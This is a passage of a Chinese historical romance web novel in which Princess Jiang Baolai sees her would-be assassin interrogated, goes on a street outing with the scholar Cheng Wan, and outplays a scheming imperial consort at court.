凭他赵家书香门第,他赵鸣一表人才,还愁公主不能对他另眼相看?
于是他借着御苑的宫宴,一面安抚
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起姨母表示一定会娶表妹为妻,一面寻找机会接近嘉福公主。
谁想这个不识好歹的公主却在御苑的宫宴上,狠狠羞辱了他。
姨父将他赶出了姚家,姨母整日以泪洗面,浔阳郡的乡亲知晓了他灰溜溜的回了赵家更是对他指指点点。
赵鸣咬牙切齿地望着面前悠哉游哉喝茶的公主,突地嗤笑一声。
他自以为这个高高在上,从未受过一点委屈的公主会勃然大怒,谁想她却不紧不慢地吃起了茶。
程晚见此情景,立在一旁垂眸一笑。
许久,姜宝来道:“你那好表妹还在外头跪着呢!你,知不知道?”
赵鸣闻言一时眼神闪烁。
姜宝来轻轻一叹,放下了手中的茶盏:“可怜见的,原本我也以为是来为你求情的,谁想却是与你赵家、杜家,都撇清关系呢!你那好姨母被你气得不轻,好姨父进了宫直到现在还没有出来,看来父皇这是要治他的罪呢!可是姚尚书他何罪之有啊?一个从未见过面的表哥,一个是自己的生身父母,你觉得她会选择谁?”
昏暗无天光的牢狱内,两个狱卒押解着一浑身是血,皮开肉绽,溃烂生疮的人朝远处拖行。
狱卒连连摇头,小声地与同伴说:“真是不经打,还没等招供就死了。这便罢了,亲眷没有一个来瞧的,这样的最后就是寻个地儿将他烧了便罢了。”
一转弯二人瞧见了在牢房外审问犯人的太子殿下与公主,又忙惶恐行了礼。
赵鸣蹲在角落里,耳朵动了动,又不由自主地朝着那血肉模糊的人瞧了一眼。突地一声干呕。
茂才从远处走来,朝姜朔玉低语道:“御苑里前几日死了一个厨房里当值的宫女,当时正在后园子里瞧见这赵鸣的行径,宫女是是毒发的,今日才发现。”
与此同时,姜朔玉望向了赵鸣,赵鸣一脸茫然。
茂才清了嗓子,直了身板道:“赵家夫妇两个已经被收押回都城了。”
赵鸣听闻阿耶阿娘都入了狱,一时怔住。
茂才又说:“咱家劝赵公子一句,若还有什么隐瞒的尽管招来。谋害皇家公主是一等大罪,间接害死当朝重臣家眷再是一罪,若是从实招来,殿下仁善,兴许为你阿耶阿娘求求情,还能落个圆满的结果。”
赵鸣踌躇半晌,忽地道:“不,不是我。我并未毒害御苑的宫人。”
茂才厉声道:“御苑的宫人已言是因你觊觎公主不成,一时愤恨,受了屈辱。堂堂男儿落了面子,想毒害当日在场的宫人。”
赵鸣嘶声:“不!我没有!”
茂才一手挥开拂尘,令身后的狱卒上前押解赵鸣:“既如此,那便与你阿耶阿娘再见上最后一面,共赴黄泉!”
眼瞧着一脸横肉的狱卒朝自己走来,赵鸣当即跪了下去:“不是我,我没有毒害他人,我只是怨恨公主!”说着他眼睛一亮,猛地抬起了头,似想起了一些事。道:“是她,她姚芳好,是她与我哭诉,说公主告状到了陛下面前,陛下责怪了姨父,姨父发了狠才将我驱逐。为此姨母又生了病。姨母自幼待我最好了,常常寄了长安的吃食去浔阳郡。”
赵鸣说到此处已泪流满面,再一抬头瞧着面前的公主,咬咬牙恨道:“公主可谓是蛇蝎心肠,表妹与我说这些年时常受公主打压,表妹忍气吞声经你百般刁难。”
而他看着梨花带雨的表妹,也的确生了怜香惜玉的心,将姨母这些年给他的体己人子全数拿了出来又花重金请了镖局的那些人去杀公主。
茂才再一声疾言厉色:“从实招来!”
赵鸣握着双拳,一字一句道:“太子殿下,草民所说句句属实!除此之外再无任何。”
赵鸣拼命咬紧了牙关,一抬头见面前悠哉吃茶的公主忽然起了身,随手弹了弹裙摆上的灰尘,云淡风轻道:“哦。我知道了。”
赵鸣一时傻眼。
姜宝来出了牢房,问胞兄:“阿兄,你有没有用午食?”
姜朔玉笑了笑:“用过了。”
姜宝来笑盈盈望向二人:“难道……你们一起吃的?”
姜朔玉方要开口,又听妹妹道:“正好,阿兄,我也肚子饿了。”
“借你的人用个饭。”
21. 饴糖
两人一前一后朝牢狱外走着,姜宝来随口道:“看来阿兄很看重你。”
程晚道:“得殿下垂青,程某有幸。”
姜宝来忽然停步,转过身盯着他嘴唇瞧了瞧,程晚被她灼灼的目光看得耳尖一红。还未待多想,下一刻又见面前的骑装女郎伸出一指尖轻轻碰了碰他的嘴唇。
程晚瞪大了眼睛。
姜宝来笑了笑:“程子煦,那若是我也这般重视你呢?”
“听闻今日在城门是你将那赵鸣捉拿归案的?你懂医术?你说……我该如何感谢你呢?”
程晚嘴角带着微笑,耳尖的羞红还未散去,他温声道:“从前略微看过一些医书。”
姜宝来点点头:“这样啊!我倒是有些好奇你,你从前那些过往了。”说着她又转过了身朝牢狱外走,边走边说:“还有,凡是不大会的事都讲一句熟能生巧,我若多亲一亲,你是不是就不会害羞了?”
大理寺门口,追月看见姜宝来忽地长鸣了一声,见此,姜宝来挑了挑眉,走过去顺了顺它的毛发,追月顺势低下了头。
姜宝来又用头贴着它,温柔无比地问:“你在闹什么脾气?”
“饿了?”
多吉在旁道:“方才奴已喂它吃过了。”
姜宝来狐疑,随后用手臂轻轻怀抱住了它的脖子再贴了贴:“那你是怎么了?”
追月双耳动了动,姜宝来又在它的脖颈轻轻抓挠了一番,正想让多吉将它带去别处,一回头却见程晚站在一旁。
哦,她倒忘了她出来的目的。
随后又有些奇怪,回头瞧了瞧甚是平静放松的追月,再回头瞧了瞧程晚。
这匹马还是有一年生辰时阿兄所送。当年还是个小马驹,从来不喜欢陌生人接近,老远就飞起了马蹄。有一年她那二堂弟心血来潮背着她去了马厩,想驯服她的追月,被狠狠咬了一口,手臂紫了好几天。
姜宝来盯着程晚看了半晌,难道这马儿也会看人下菜碟么?
于是她问:“它怎么不怕你?”
程晚眉梢微微洋溢起来,一双清透如水的眼眸朝她看了过来:“大抵如公主一般,待臣……爱屋及乌。”
姜宝来:“……”
多吉在旁垂眸一笑。
二人朝热闹的街巷里走去。
姜宝来问:“你想吃什么?要不你带我去个地?”
谁想,程晚也在同一刻开口:“不若为公主换换口味?”
街巷里正值晌午,小吃摊前香气四溢,程晚带着姜宝来去了一家小摊前,姜宝来瞧了瞧只有两张空位,便随意找个位置坐了下来。
程晚见她落座后,便温声道:“乐宁在此稍等,我去去就来。”
姜宝来听他唤起自己的乳名,相比较昨日倒是自然多了。又知现在闹市,不想暴露她的身份,便没有唤她公主。
姜宝来轻哼了一声,心道:算你识相。
总比一口一个公主,一口一个臣的好听。
程晚上前与小摊的摊主笑谈了一番,姜宝来盯着她的背影回身问站在远处的多吉:“你带银子了么?”
主仆两个不知何时已经形容了一种默契,若是她乘了步辇出门,多吉必定穿着他那身万年不换的官袍。
可若是她骑着追月出门,多吉就会乔装打扮一番,默默跟在她的身后。
多吉笑了笑,从怀里摸出了一大串铜钱,便要朝摊主递过去。谁料程晚却先一步给了银钱。
姜宝来想了想他作为九品校书郎每月微薄的月俸,狡黠地笑了笑。
没过一会儿程晚入了座,姜宝来一手托着腮,一手随意地敲打在桌案上。
程晚唇角轻扬,一手提着茶壶倒了一盏茶过去。
面前的骑装小娘子似有些心不在焉,但那一双灵动狡黠的眼似已暴露了她暗藏的心思。
程晚不动声色。
摊主很快上了一道驼蹄羹、一道清炒的葵菜、还有一道凉拌的醋芹并一些芝麻胡饼。
都是长安城百姓家常餐食,虽在宫里有皇家御厨换了花样烹饪出来,但精心脍炙的有时候往往没有一道寻常的家常小菜美味的多。
葵菜清爽可口,芝麻胡饼还是新鲜出炉的,驼蹄羹看样子蒸得甚是软烂还冒着热气。至于那道醋芹,她好似从来没有用过。
姜宝来拾了木箸又换了汤匙,一口皆一口,津津有味地吃了起来。二人都没有言语,没一会儿,桌上的菜肴便大半入了她的腹中。
一抬头,却见程晚也正放下了汤匙,随后朝自己看了过去。
准确的说,他是在看自己的嘴角。
姜宝来可没认为这时候他会突然开窍,大抵是自己嘴角蹭上了汤汁。正要叫覃楹拿来帕子却想起今日没带她出门,于是要伸指腹一抹。
但对面的那玉面郎君却不知在何时垂下了眸。
姜宝来咬了咬牙。
好个守礼的谦谦君子!
姜宝来:“程子煦,你来给我擦!”
程晚抬眸,见面前骑装女郎眼里的两簇火焰,迟疑了一瞬,迟疑了一瞬,将自己里衣的衣袖向外拽了拽,擦掉了她嘴角的一滴汤汁。
隔桌的孩童看见这一幕,扯了扯身旁妇人的衣袖,喊道:“娘!娘!你给我擦!”
妇人朝孩童嘴角瞧了一眼,训道:“臭小子多大人了,自己擦!”
孩童不依不饶,哼了一声,回身指了指她二人:“那边那个貌美姐姐还有哥哥擦呢!”
姜宝来蓦地脸一红,难得地低下了头。
程晚见此笑得甚是和煦,似隐隐抖了抖肩。
姜宝来怒瞪:“程子煦,我要不要堵上你的嘴!”说着便拉住了他一只手,离开了小吃摊。
姜宝来眉眼间添染的那一缕怒气还未消散,走出了很远,她忽然道:“你还没回答我!”
程晚认真回忆起来,原是那句:程子煦,如若我也这般重视你呢?
程晚说:“子煦待乐宁,亦是臣待公主,珍而重之,从一而终。”
姜宝来想着大理寺牢狱里的赵鸣,道:“从一而终,也要看我有没有那个命,天底下想害我的人可不止那蠢蛋一个。”
身旁卖糖人的老伯瞧见面前一双“打情骂俏”的金童玉女,郎君玉树临风,小娘子花容月貌。看着自己冷清无人光顾的摊位便起了心思。
吆喝道:“郎君可要给小娘子买一个糖人?吃了老汉的糖人保你你侬我侬,情意绵绵。”
二人:“……”
程晚以为公主会再次拉着他离开,谁料,她却道:“程子煦!我要吃糖!”
程晚温和的眉眼漾起,从佩囊里拿了银钱递给了老伯。
姜宝来眨了眨眼,随后莞尔一笑:“我带了钱。”
“但是我只想吃你买的糖人行不行?”
程晚轻声道:“公主还想吃什么?”
姜宝来盯着他看:“方才还改口称乐宁,怎么没一会儿就一口一个公主一个臣?”
说着她走进了一些,与他贴近:“你,叫我乐宁。否则我不介意大庭广众之下再亲你一口。”
程晚一时哑然。
但在姜宝来眼里看起来却是娇羞无措。
她叹了一叹,道:“程子煦,我那姑母,仪阳长公主不知你知不知?她那公主府里养了许多的吹奏郎君,大庭广众之下抱一抱啊!或是姑母一时兴起拥吻一番,这都是常事。前几日姑母也不知怎么想的,还要送给我几个,可是姑母她老人家殊不知,我也想如程郎一般,一生一世一双人呢!”
“程子煦,你说那些吹奏的郎君有你好么?不若我与姑母去说说,我改了主意,让她送给我几个?”
程晚抿了抿唇,眉眼间再没有往日的春风和煦,反之如长安的飞雪。
姜宝来正想着他会说些什么。不行?臣不敢议论公主?还是一些什么……
程晚却道:“乐宁,不会。”
那一双眼,明亮生辉,就像有一年秋猎她所得的一只野鹿。鹿儿湿漉漉的一双眼,灵动可人。
姜宝来蓦地跺了跺脚,低声道:“程子煦,你这个狐狸精!长安怎么来了你这么一个‘妖怪’。”
说着她对那卖糖人的老伯道:“今日我穿的不美,经不住画,画他好了,就画他。”
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程晚在原地耐心地等着老伯画糖人,姜宝来却是闲不住的性子,感到无聊又去看起了一旁的摊主手里捏的面人。
瞧着摊主手里的小鸟,她忽然想起她有一只木雕的小鸟,刻得栩栩如生,阿兄说是在西市胡商手里买来的。
姜宝来看了一会儿又觉得没那么新鲜了,正想去别处看一看,一转身却见程晚捧着一油纸包站在了自己面前。
她眼皮一跳:“你,怎么神出鬼没的。方才不是还在那儿?”
她朝着画糖人的小摊扬了扬下巴。
程晚笑着将油纸包打开递了过去,姜宝来垂下了眸。
里面竟是饴糖。
姜宝来一愣。
平日里或新岁宫宴,下人们呈到她面前的都是宫中特制的精美糖果,一颗颗晶莹剔透似琉璃又似琥珀,或是浓郁的乳糖、桂花糖,便是民间样式寻常的冬瓜糖也要由宫人换着画样递上来,却从没有人将最原原本本的一包饴糖送到她的面前。
就如她与他的每一次偶然相遇,好像都是原原本本的他,毫无遮拦,纯粹无杂。
街市里一匹骏马横冲直撞,从一条街穿过了另一条街,险些撞了过来。
多吉在远处正要上前保护公主,下一刻却见那布衣郎君下意识将公主拉到了一旁,将她护在了自己的身前。
为此,多吉深深看了一眼程晚。
沿街闲逛的百姓们心有余悸,一小儿被父亲带到了肩膀上,哈哈笑:“阿耶是大马,阿耶我也要吃糖,今日是我的生辰,我要吃糖,还要吃糕!”
姜宝来问:“程子煦,今日也是你的生辰?”
程晚温和一笑:“去年仲冬时节已经过了。”
姜宝来不知为何,脑海中蓦地想起他昨日所说:子煦自幼失双亲,现下一人在长安。
程晚吃下一颗饴糖,低垂着眼睫说:“从前吃药或生辰时阿娘怕我会因为药苦,常常买了饴糖给我。但阿娘并不知道我并不觉得苦,将糖都给了阿娘。后来阿娘走了,她走后的每一年我都会买下一包饴糖。长安贵人诸多,我不曾见过售卖饴糖,饴糖在诸位贵人眼中低廉,但在贫苦百姓中却是这世上最美好的糖果。”
他的声音很是温柔,神态也格外温和,说话时一字一句就如一阵春风拂过,轻轻柔柔地说着。姜宝来听在耳里,心里不由得在想,到底是何种人家,何种品性的阿耶阿娘,能教导出这般温润端方的儒雅之士。
姜宝来眉梢轻扬,不觉间笑意从眼底渐渐地漫了出来。
可他自幼失双亲,家中老翁也长逝了。大抵是天性使然吧。
那她的脾性像谁呢?不似父皇也不似母后更不似阿兄。她不禁在想。
而后,姜宝来转过头扫视了四周,果然见街市两旁售卖的都是一些制作精美的糖果,香甜酥脆的芝麻糖、或是波斯的狮乳糖。她问:“那你怕什么?”
“清澈见底的河流。”
姜宝来听着这突如其来的一句,一时有些茫然,正要再问,老伯却画好了糖人。
竟是两个。
程晚正要再付多出来的糖人银两,老伯却摆摆手:“老汉从十岁起跟阿耶画糖人,画了五十年,也从未见过这般般配的小娘子与小郎君。就像天造地设的一双璧人。今日送给你们了。”
程晚微微一笑:“多谢。”
老伯又问:“老汉唐突问一句郎君,二位可是新婚不久?还是在热恋中?”
姜宝来忽地笑:“老伯啊,你猜错了,都不是。”
沿街四处闲逛的百姓,有豆蔻年华的少女,三两结伴瞧见程晚手中的糖人,再瞧见手拿糖人的俊俏郎君,纷纷面色一红,迟疑着,没过多久便都纷纷光顾到老伯摊前买起糖人来。
几息间,本是冷落的摊位忽地围满了妙龄女郎。
程晚将糖人递了过去,姜宝来却只接过了他的那个糖人,将她的那个留给了他。
姜宝来明媚一笑:“程子煦,那今日这祝福相比去年的仲冬时节我送上的有些晚,那便比他人早一些,更早一些,祝你今年的生辰,生辰喜乐、诸事如意、岁岁康健,嗯……早日平步青云,紫袍加身吧。”
22. 演技
夏阳自东方升起,长乐宫的侍女们听见公主已起了床,自殿外端着金盘与清晨新折的花枝,井然有序地入了殿。
覃楹去理了床褥,雾萝则去清理了昨夜公主睡前点燃的香炉。
其余的侍女们,殿内洒扫的、沏茶的,或是拾了巾帕、揩齿布与药粉等着公主洗漱的。
姜宝来赤着一双足下了床榻,又接过了侍女递来的一支花簪随意挽在了脑后,便开始盥洗起来。
王朝多少年来只有了这么一位公主,被君主与太子捧在心尖尖上的。按理来说公主自幼集万千宠爱于一身,自是骄纵妄为过了头。
但自幼便侍奉嘉福公主的这些宫人却心里清楚,这个公主与他人不同。甚至与皇室宗亲的郡主、县主都不同。
有些事她倒更喜欢亲力亲为,即使他人口中的骄纵跋扈,在她们眼里却是就事论事。且姑娘家喜欢的热闹,这个府宴那个家宴的,可她们公主却并不喜欢交际,只喜欢独自享受生活的乐趣。
覃楹理了床褥见公主已洗漱完毕,便拿了齿梳为她梳起发鬓来。雾萝便去挑了公主夏日里惯爱穿的那些罗衫纱衣。
“昨日公主睡得早,婢子还没来得及与公主说,昨日公主去了大理寺,湘君娘子身边的侍女来过一趟。还有今早茂才公公送来一筐桃子。”
姜宝来正在妆奁前漫不经心地摆弄着各式各样的花钿,挑挑拣拣,闻言手一停:“湘君姐姐?怎么是她身边的侍女?她呢?还有什么桃子?”
雾萝道:“那侍女说是湘君娘子去了青龙寺给公主请了护身符,湘君娘子则因为沈家夫人染了病,留在府中侍疾。至于那桃子,茂才公公只说殿下觉得鲜甜,给公主送了来。”
雾萝想了想,探头问:“不会是昨日程校书买下的那筐桃子吧?”
“那他怎么自己不送过来?”姜宝来捏了一颗花钿又扔回了匣子里,轻哼道:“我看八成是装的!”
“当初他沈川还没娶妻的时候,这个老妇还有力气与我竞赛马球。怎么一转眼就起不来床了?”说着,她吩咐起雾萝:“去,将我府上那祛病延年的灵丹妙药送过去,就说我体恤她老人家操持家宅,特赐了此物。保准她一日康健,活蹦乱跳。胳膊、腿哪里都灵巧。”
侍女们在旁听着公主的言论纷纷垂下了头,抿着唇笑。
长乐宫的“灵丹妙药”可是出了名的神,别看那小小的陶罐,里面却是装着守卫们折腾了一晌午登高爬树摘来的毛毛虫。
有一次宫宴上,甚至还因为这妙药被公主端在手里打算惩治调皮捣蛋的晋江世子,路遇了姚淑妃姑侄,公主自说是头昏眼花,一个没拿稳将那瓷瓶里的虫儿系数倒在了她们姑侄身上,为此姚淑妃姑侄当即吓昏了过去。
雾萝笑着得了令,姜宝来犹觉好生气恼,下意识一回头,却见铜镜里的自己紧抿着唇,眸子里好似簇着两团火。
耳边不知就响起了那日的一声和煦温语:所以镜中的自己也在不觉中成了自己的敌人。
姜宝来鼓了鼓腮,随后朝着铜镜里的自己戳了戳脸蛋,又让侍女们去将朝食端上来。
吃饱了饭,她好去进宫一趟。吃饱了饭,她才有力气与父皇的宠妃上演“公主与宠妃”的融洽大戏。
演技?谁不会?
-
吃过了朝食,姜宝来进了宫。
长明帝御笔一挥,大理寺也在这时传出了消息。杜鸣与那些谋害皇室公主的杀手判斩,毕竟谋杀皇室的罪名可不小,是杀无赦,满门抄斩的大罪。且兵部董侍郎的夫人还尸骨未寒呢!
行刑前,姚芳好与杜夫人一同去了趟大理寺,想见一见这个即将早逝的外甥,但大理寺却以朝廷要犯未由,拒绝探监。
当然这事还是姜宝来让多吉走了一趟大理寺,交代下去的。
想他姚家知晓供词,她傻么?
而杜鸣父母念于并未参与此事,经太子姜朔玉与大臣们上书谏言,被判了抄家、流放三千里的罪行。
至于姚尚书府,则因为吏部尚书早早未雨绸缪将他的半个外甥赶出了姚家大门,又主动进宫负荆请罪,才免予责罚。
但尽管如此,长明帝犹不解气,仍旧罚了姚坤一年的俸禄。
紫宸殿里,姜宝来安慰着皇帝,皇帝望着自己小女儿这张面孔,忽然觉得几日不变她瘦削了。
长明帝笑:“那个儿郎是叫……”皇帝紧锁着眉头,似在冥想。
姜宝来一时茫然:“哪个儿郎?”
长明帝说:“是叫程晚?”
姜宝来立时愣住,瞪圆了眼睛。
长明笑哈哈:“父皇记得此人是当日的新科进士,名列三甲的探花郎。就是嘛……”他为之一叹:“家世不大好。”
姜宝来一时捉摸不透,父皇朝事繁忙何故会突然提起程晚。这也就罢了,还提及了家世。
家世好又如何?它能顶个甚用。有时候非但没用,还给自己添堵。毕竟早上那沈家老妇可是给自己添了不少堵。
当年杨家与沈家结为连理枝的那天,谁人又不道一句门当户对。
姜宝来打着马虎眼:“程……程晚?哪个程晚?”
长明帝故作一幅严父的神态,怒睁着一双龙目睨了过去。
姜宝来快速扫过:“哦。儿臣知了,就是那日英雄救美的那个探花郎嘛!”
皇帝听罢,沉思了一瞬,摆手唤来殿前的内侍王贤,并道:“朕记得,这个探花郎年纪轻轻,今年方加冠,可是还未娶妻?”
王贤俯着身回禀:“回陛下,正是。不过奴才听说那日曲江游宴过后这探花郎变成了城内炙手可热的郎君,世家的小娘子们都争着抢着想择此佳婿。今日朝会过,奴才还听着礼部的人夸奖起这位探花郎。”
姜宝来看着自己的父皇与内侍王贤一唱一和,可不就是说给自己听的。
于是皇帝回眸又笑看着小女儿,满眼慈爱:“乐宁啊,你觉得如何?”
“儿臣?儿臣能觉得如何?”姜宝来说:“儿臣有钱。”
长明帝笑:“父皇是怕你受委屈,这青年出身寒门,这般门第岂不是与我儿不般配?我儿当与世家门阀、抑或王侯将相才相配。”
于是,姜宝来又说:“他好看。”
一抬头,又见长明帝紧抿着唇不语。
姜宝来道:“门第相当的又过得如何了?父皇不能对一个人从来没有见过的人有偏见。”
王贤奉上两盏茶,皇帝接过抿了一口:“那父皇今日便敕封他为驸马,如何?他日父皇再想了法子敕封他个高官厚禄。”
长明帝无奈地叹了口气:“麟儿啊!你自前些年搬出宫去,父皇这心里总是担忧得狠。魏家那小子与你自幼青梅竹马,且是父皇自小就看到大的,当年你一口回绝了父皇,而今,若是麟儿出了事,父皇又该如何与你母后交待?”
姜宝来闻言看了一眼御案上的那些堆成小山的奏章,随后将皇帝面前摊开的那本奏章拾起,果断干脆地一合,道:“这事儿儿臣心里自有想法,父皇只管放下手里的奏章,好好吃饭、早些歇息、勿过操劳。走,儿臣陪你去花园里逛一逛,在太液池走一走。”
长明帝顺势起了身,姜宝来一手搀着皇帝不再如早些年康健的身子,慢悠悠要走出紫宸殿。
门外忽响起一声抽噎。
姜宝来蓦地眉梢一挑,瞧瞧,果然来了。
姚淑妃着了一身出水芙蓉般的华裳,面上看样子未敷脂粉,如弱柳般跪在紫宸殿前,身旁近身侍奉的宫娥手提着一食盒。
长明帝一脚迈出了殿,瞧着梨花带雨的宠妃,皱了皱眉头:“阿圆,你这是何故?”
姚淑妃葱葱玉指捏着一张手帕,哭得险些昏了过去,看见长明帝与公主忙行礼:“陛下,臣妾听闻公主遇刺,日日胆战心惊
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,奈何出不得宫,阿兄的府上又乱成了一团。听闻今日公主进了宫,臣妾特地带着方做好的金乳酥与藕粉圆子来看望公主。知公主无事,一切安好,臣妾便放心了。”
姜宝来望着她哭哭啼啼的模样心生厌恶,昨日赵鸣的招供有关于姚芳好的一概她们兄妹二人都隐了去。
至于御苑里死了的当值宫女,也是阿兄事先交代茂才来诈他的。
下毒的不是他,更不是姚芳好去怂恿的。
而姚芳好的那些弯弯绕绕,这些年来她本就与她斗个势不两立,何况她并没有真的指使赵鸣去毒害她,她姚家更不会损失一点。
倘若真的是姚淑妃姑侄所为,那她就敌在明,她在暗,敌不动,她不动便好了。
毕竟放眼长安城里,她找不到第三个想害死她的人了。
姜宝来一副受惊地神态,拍了拍胸脯与长明帝道:“父皇,感情这几日儿臣夜夜所梦那日遇袭,是因这淑妃娘娘的缘故?当真是娘娘思念儿臣的狠。”
“娘娘啊!我可好好的。吃得好,睡得好。若说有一人不好,大概是兵部董大人吧,年纪轻轻失去了发妻。”说着姜宝来迈出一大步,走到了姚淑妃面前,又伸出手欲将她扶起。
但姚淑妃却一动未动,浑如她公主府门前的镇宅狮稳当。
蓦地,姜宝来又一松。
方才她用了力,而今姚淑妃纹丝不动有心想在殿前跪上一跪,自是被她那股大力闪得朝后一退。
姚淑妃一手撑着地,稳定些许,而后喜极而泣:“陛下……公主……公主即是无事,那臣妾便放心了。”
长明帝缓缓道:“那日姚卿进了宫,此事即是姚家与杜家没有参与,你这般又是为何?”说着皇帝心生爱怜地欲扶她起身:“前几日方风寒痊愈,可切莫再着了凉。”
姚淑妃泪盈于睫,眼眶泛红:“谢陛下关心,臣妾这就起。”说着一手搭住身侧的宫娥,款款起了身。
谁知下一刻,却忽然意识模糊,感到眼前一阵发黑,朝后仰了过去。
说时迟那时快,姜宝来一手抓住了她的手腕,用力将她拽了回来,并将她圈牢在了自己怀中。
长明帝轻咳了一声,瞪着眼:“乐宁,没大没小。”
姜宝来眨了眨眼睛:“娘娘真香。出来前喷了香露么?”
姚淑妃受惊之余,轻拍着胸脯,闻言一怔,她今日未施粉黛,着了浅淡素衣,自唱的那一出戏她心里清楚。
可却忘了让侍女将今日裙裳的香露撤掉。
身侧的宫娥顺势跪了下来:“娘娘前些时日还说公主喜爱香露,想着若是公主进宫便将婢子们的香露送给公主。娘娘这几日挂念公主,夜不能寐,今晨天还未亮,娘娘便为公主做起了你爱吃的点心。”
姚淑妃娇滴滴地在一旁流着清泪,闻言轻斥了近身宫娥。
长明帝自也心生了怜惜,当着廊下所立诸宦官的面便拉过了她的玉手轻拍了拍,语重心长地道:“爱妃,你这是何苦。”
姜宝来眼瞧着一幕,狠狠掐了一把自己腰肉,一双明眸里扑簌掉下一颗泪珠:“娘娘挂念我,我真是好生感动呀!”说着,姜宝了瞪大了杏眸朝那宫娥看去:“咦?原来这虫儿也喜欢你家娘娘身上的香气么?”
宫娥怔了怔,抬起头朝着自家娘娘的华裳上看去,只见衣襟上不知何时多了一只通体毛茸茸的小绿虫,正扭来扭曲欲朝着姚淑妃雪白的脖颈上爬行。
宫娥大骇,吞吐道:“娘娘……娘娘。”
宫娥一指姚淑妃的衣襟。
姚淑妃下意识垂下了眸,立刻头皮发麻,随后跳了起来。
“陛下——”
姜宝来立在原地,垂眸嗤笑了一声,随后朝着长明帝一福身,故作小女儿的娇态,撒着娇道:“父皇自有宠妃作伴,游花园、漫清湖,那儿臣识趣去也。”
长明帝一时无言。
23. 避暑
从紫宸殿出来时下起了雨,覃楹一手撑着伞与雾萝一左一右跟在公主身侧。
姜朔玉带着内侍在宫门内的一片宫墙下等着妹妹,二人心照不宣地交换了一个眼神。
那日他连夜派人将当日御苑里参宴的诸人一一写进名册里,当日的宴会由她姑母所办,岁首姑父因病暴毙,这个姑母躲在自己的长公主府,几个月未曾出门。
直到今年季夏时节办了这场荷香宴,邀请了都城各世家总妇、闺阁女子。父皇对这个姑母自幼便极好,虽未亲临,却允许她大办此宴还特令他与几个弟弟一同赴宴。
为此,帝王未至,此宴便不曾有任何朝官出席,但这并不代表那些官僚身后的宗妇不会被动去做一些事。
假手于人,便是宦海里的老伎俩。
是以,他派人开始一一查起,这些总妇的名姓、身后的家世、甚至同宗同族及旁支的任何一位家族成员。
茂才与他一面往返着大理寺,一面在东宫里查看暗卫递上来的消息。
昏暗的东宫内殿,一抹烛光摇摇晃晃映在姜朔玉身前的那面墙壁上,随后他将纸笺对折,阅后既焚。
茂才说:“殿下,公主一事,奴才认为,可是冲着殿下来的?”
姜朔玉将残缺的纸笺扔进火盆里,有些惘然,但很快恢复了神色。他眉目疏淡,沉静道:“起初我也是这么认为的,但有些地方还有些想不通。但乐宁并非是在御苑中毒的。”
茂才点点头:“殿下所言甚是,灶房里安插了我们的人,自然不会有半点差池。”说着茂才沉默些许:“可若是在御苑外中毒就有些不好办了。”
姜朔玉语调温和起来:“我这个妹妹,素来不囿于宫廷规矩。明明宫里有上好的佳酿,她却西市买酒,抑或打马球、野郊骑射、蹴鞠。她虽爱热闹,却随心所欲喜独来独往,独自享受这些生活中的乐趣。”可也正因为这难得的天性,茂才,我有时候也很羡慕乐宁。当年我总是想着若阿娘当年产下的不是一位皇子,再到一位太子,若是一位受皇家宠爱,父皇宠爱的公主就好了。”
“但茂才,人各有命,若为那般,我与乐宁乃至阿娘的母家陈郡谢氏,待得我那好二弟上位,所有都会一息崩塌。”
茂才盯着太子瞧了半晌,殿下这些年回到长乐宫常常沉默寡言,许久未曾与他说过像今日这般许多话了。
但这些年茂才也知道太子的苦楚,他开口道:“殿下与公主日后都会福寿康宁。”
茂才默然半晌,又说:“不过殿下,依奴才看,或许会不会是公主的那三位伴读?是否要派人调查一番?”
姜朔玉目光微微转淡:“先派人秘密调查吧。那被后人经赵鸣一事一时半会儿不会再有动作,他既在明,我们在暗,乐宁更知如何做。”话落,他端起书案上的一盏热茶,轻抿了一口。茶汤清澈,入口清香,姜朔玉觉得喉咙很是舒坦,再想吃下一口,书案旁的小窗却被夜晚的一缕微风吹开,他猛地抵拳咳了一咳。
茂才连忙将小窗关上,很是心疼地道:“殿下,你就算不顾惜自己的身子也要想想公主。有句话茂才知道不该说,但往后的日子还长着,殿下这般,倘若哪里奴才去了,这偌大的东宫冷冷清清,唯剩殿下一个人可怎么好。”
说着,茂才噗通一声跪了下来,用衣袖擦着眼角的泪珠:“前些时日陛下想为殿下指婚,便是杨太傅的小孙女也是极好的。文君娘子自幼与公主交好,何况杨太傅又是殿下的老师,怎么着也比她人好上一些,殿下,你说是不是?”
姜朔玉看得好笑,一手扶起茂才:“我哪里就是一个人?洒扫的宫人、灶房的食官、这些年我身后的那些心腹暗卫就都不是人了?”
“可是就缺一个知冷知热的娘子,这东宫里缺一个太子妃不是。”茂才既开了话头,索性决定说下去。
姜朔玉失笑,随后似陷入沉默。
杨先恩身为两朝儒臣,即为帝师,也为太子的老师,也是朝中清流的代表。弘农杨氏的门第、与杨太傅孙女的教养完全符合太子妃的要求。
但若是这般……
姜朔玉道:“茂才,有些事不能强求。至于杜氏、姚坤、魏林那边再继续盯着便是。”
“乐宁这边,明日她进宫我自会与她见上一面。”
茂才依旧抹着泪,却是应下了:“这赵鸣所为虽让他姚家安然无恙,但这高枕无忧的日子他定没有多久了。”
姜朔玉深沉的双目转而多了一丝温和。
茂才默了半晌,还想再言,姜朔玉却起了身,捞起椅上的一件披风走出了内殿:“孤去园子里走一走,无需随行。”
夜月洒下一抹柔光,姜朔玉走在种满桂花树的庭园里,再等一等,桂花树就要开了,阿娘从前最喜欢桂花。
前世今生,那到底是妹妹会预知的梦,还是真的有生死轮回,姜朔玉不得而解。
但人若能生死循环,经往昔今朝,他很想回到过去,如此会救下阿娘、救下之恒叔父……
-
瞧见妹妹近在眼前,姜朔玉笑了笑,将手挽的一件披风正欲给她披在身后,姜宝来却一手接过将它罩在了姜朔玉的身后。
每一场骤雨都代表着金秋将至,天气寒冷,而胞兄每一年都在拖着病体度过。
她开口道:“东宫事务繁忙,阿兄,这事她自己会去查清楚。”
姜朔玉看着在自己面前,慢条斯理为自己打着衣结的妹妹,温声道:“可是去陪父皇逛花园了?”
姜宝来心道:园子没逛成,倒是看了一出苦情戏。
但她没与胞兄说。
不过姜朔玉却猜出了几分:“遇见姚圆清了?”
姜宝来点点头,说着将腰上的香囊一手扯了下来,递给了身后的雾萝,笑道:“总之没让她好过就是了。”
姜朔玉自是知晓那香囊里装着的是何物,一想紫宸殿里刚刚发生的情景不免失笑。
姜宝来瞧着胞兄避而不谈她提及的事,轻轻叹了叹:“只有阿兄好好的康健过完这一生,我才能好,才有这个资格做一个骄傲的公主。”
来自陈郡谢氏一半的血脉,出自谢皇后的一双子女。
太子幼年病故支离,公主亭亭玉立长大成人。
